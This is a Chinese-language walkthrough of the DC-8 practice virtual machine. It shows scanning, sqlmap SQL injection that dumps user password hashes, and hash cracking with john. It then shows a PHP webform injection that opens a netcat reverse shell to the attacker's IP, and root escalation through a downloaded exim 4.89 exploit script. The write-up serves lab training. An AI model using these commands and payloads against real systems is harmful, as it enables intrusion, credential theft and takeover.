DC-8
靶机下载地址:
链接: https://pan.baidu.com/s/1ntuvNDmXr_sQ_IAxv6N2uQ 提取码: 3b4y (下载好使用迅雷快速下载压缩包,解压后就是.ova文件)
靶机难度:较难。
打开靶机,让靶机和kali处于同一个网段。
一、信息收集
1.扫描IP
arp-scan 10.9.23.0/24
10.9.23.223才出现了Vmware标志,因为靶机是用Vmware打开的。
2.查看开放的端口:
nmap -sV -p- 10.9.23.223
扫描出来发现开放了22、80端口
22:SSH 远程连接
80:http的网页端口
3.打开80网页
进入80端找找有没有信息或漏洞。(没有收集到信息)
4.敏感目录扫描
dirb http://10.9.23.223/ -r
因为目录太多,所以这里不用递归扫描,节约时间
发现了一个/user的请求成功目录,咱去看一下。
5.发现网站后台
我们的思路就想着能不能进入后台,方便我们更容易执行后续操作,此时就需要用户名和密码
二、漏洞探索
1.网站找线索
网站一般都留有线索,点了一下导航首页的超链接,发现最上面的URL的状态发生了变化,怀疑此处有sql注入点
2.sql注入手测
在url后面输入一个单引号 ’ ,果然有sql注入
三、漏洞利用
1.使用sqlmap工具对网页的注入点进行测试
检测一下使用的是什么数据库
sqlmap -u http://10.9.23.223/?nid=1 --dbs
-u:接URL
–dbs:查找数据库
如果中途问你是否继续一直输入YES就行了
2.检测一下使用的是什么表
sqlmap -u http://10.9.23.223/?nid=1 -D d7db --tables
-D:接使用的数据库名
–tables:查找表
3.查看一下表里面的字段
sqlmap -u http://10.9.23.223/?nid=1 -D d7db -T users --columns
-T:接使用的数据表
–columns:查找字段(列)
4.查看一下用户和密码
name可能是登录的用户名,pass可能是(password)登录的密码
sqlmap -u http://10.9.23.223/?nid=1 -D d7db -T users -C name,pass --dump
-C:接使用的字段
–dump:转储数据库表项,查询字段值
5.发现密码被哈希加密了
回到kali的桌面创建一个txt文档mima.txt,输入两个用户的哈希值,保存。
6.使用john工具进行解密
john mima.txt
解密出来一个,另外一个admin的密码比较复杂,咱们可以先挂着,先试试这个密码:turtle
(后面kali的cpu太高我就ctrl+c结束进程了)
7.用数据库得到的用户名和密码登录网站
四、漏洞探索
1.页面探索
在网站后台管理页面找信息,找到了在首页可以输入文本框的一个地方。
Contact --> Webform
Contact --> Webform -->Form settings
找到了一个文本框
这里是输入文本语言的地方,下面可以切换语言,写一个php的探针代码,检测一下是不是能真的运行php代码,如果可以,我们就能写PHP一句话木马进行拿权。
<?php
phpinfo();
?>
滑到页面最下面,点击保存
因为这个留言板是用户留言成功才显示的,所以我们留言一次,点击 VIEW
填写后进行保存
探针真的显示出来了,说明我们可以执行PHP代码,利用一句话木马
2.漏洞利用
这里我们返回刚刚的留言板界面,删掉原来的phpinfo代码,将shell反弹代码写进去
<p>demon</p>
<?php
system("nc 10.9.23.193 4444 -e /bin/sh");
?>
(请注意,这里面使用的IP地址是kali的IP地址,4444端口也要确保没有被其他服务占用了,否则可能执行不成功)
写完先不着急,先新开一个终端,设置监听端口
nc -lvvp 4444
设置好后,回到网页端保存
然后点击View,随便输入一下数据,触发我们的留言代码
滑到页面最下面,点击保存
回到 VIEW 随便输入一下联系方式,触发一下留言
回到kali终端,出现这个就说明我们反弹成功了
如果没有成功,就检查一下代码有没有出错,然后重新在网页上重新刷新一下大概率就行了。
转换下终端shell
python -c 'import pty;pty.spawn("/bin/bash")'
试了一下sudo -l看看有没有root权限可以提,结果并没有
使用find命令找一下正在系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
这里find命令找到了/usr/sbin/exim4
查看一下它的权限
ls -l /usr/sbin/exim4
发现exim4确实有suid权限。
查看exim4版本,版本是4.89
exim4 --version
五、提权
1.版本漏洞
使用Kali自带的工具searchsploit查看此版本是否有漏洞。
searchsploit exim 4
找到一个,下载试试看咯
2.下载46996.sh文件
searchsploit -m 46996.sh
3.漏洞利用
vim 打开46996.sh打开看是怎么利用的
vim 46996.sh
找到使用说明,这里说有两种提权方式
关闭vim编辑器:shift+: 出现:的时候输入q退出,q!强制退出,wq保存退出。
4.新开一个终端,启动http服务
python3 -m http.server 80
5.下载提权脚本
回到与目标服务器建立的连接,切换到/tmp目录并下载提权脚本。
```
www-data@dc-8:/var/www/html$ cd /tmp
www-data@dc-8:/tmp$ wget http://10.9.23.193:80/46996.sh
```
6.为46996.sh赋权限
添加执行权限
chmod +x 46996.sh
搞定了,提权成功
六、总结
一、扫描
扫描工具:namp、arp-scan
扫描端口:namp
扫描敏感目录:dirb
二、漏洞搜索
搜索漏洞:searchsploit
三、漏洞利用
对哈希文件解密:john
对文件赋权(chmod)然后利用
四、运行提权文件
五、登录root成功。
期间的小注意项都写在文本中了,新手遇到问题不要着急慢慢来,文中有说的有误的地方欢迎大家提出指正,撒花~